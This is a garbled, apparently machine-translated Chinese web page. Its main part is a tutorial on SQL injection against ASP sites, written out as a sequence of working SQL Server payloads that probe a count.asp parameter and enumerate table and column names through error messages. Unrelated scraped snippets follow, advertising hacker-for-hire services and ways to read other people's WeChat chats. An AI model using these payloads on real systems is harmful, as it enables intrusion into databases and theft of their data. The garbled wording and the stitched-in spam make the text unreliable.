人人在是否碰到过这样的站点:
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。
攻击方式:
查看源文件/看内里是否有通过 *** 来挪用的页面。
如挪用来更新文章的浏览次数。
我们就可以这样来试一下能否注入:
http://服务器域名/count.asp?id=1552’
看一下是否失足。如失足说明有注入破绽。然后正常攻击。
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯)
post.htm内容:主要是利便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条纪录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
本文目录一览: 1、怎么查微信里面的聊天记录 2、微信如何查看最早的聊天记录 3、怎么能查到别人的微信聊天记录 4、微信查找聊天记录怎么查 怎么查微信里面的聊天记录 在与微信好友的聊天界...
英雄联盟黑客在哪里找相关问题 黑客在线接单相关问题 18岁黑客自学编程看的是什么书 2020游戏实名认证身份证(身份证实名认证游戏)...
网站推广运营方案的内容主要分享是怎么去策划自己的网站推广运营方案,包括目前运营存在哪些问题;竞争对手分析;具体的运营细则制定;针对有些小伙伴提出的疑问,这里再重申一下,福运通网络营销这里和大家分享的网...
云顶之弈10.9这个版本中,什么阵容比较强势呢?随着云顶之弈10.9版本的到来,大家也开始关注新的阵容,游戏中的阵容是非常关键的,新的版本中,法师阵容比较厉害,本次就为大家带来了云顶之弈10.9四重装...
一、2020中美大战输黑客接单流程 1、黑客接单此外,黑客也应具有黑客的精神和黑客的行为,以便融入黑客自然形成的黑客文化。2020中美大战输定位qq好友位置在这些定义中,我们不能看到太多的贬义。XXX...
相信现在有很多的朋友们对于房产证增人交多少钱都想要了解吧,那么今天小编就来给大家针对房产证增人交多少钱进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 1、如果是办理添加夫妻一方的名字,按照法规...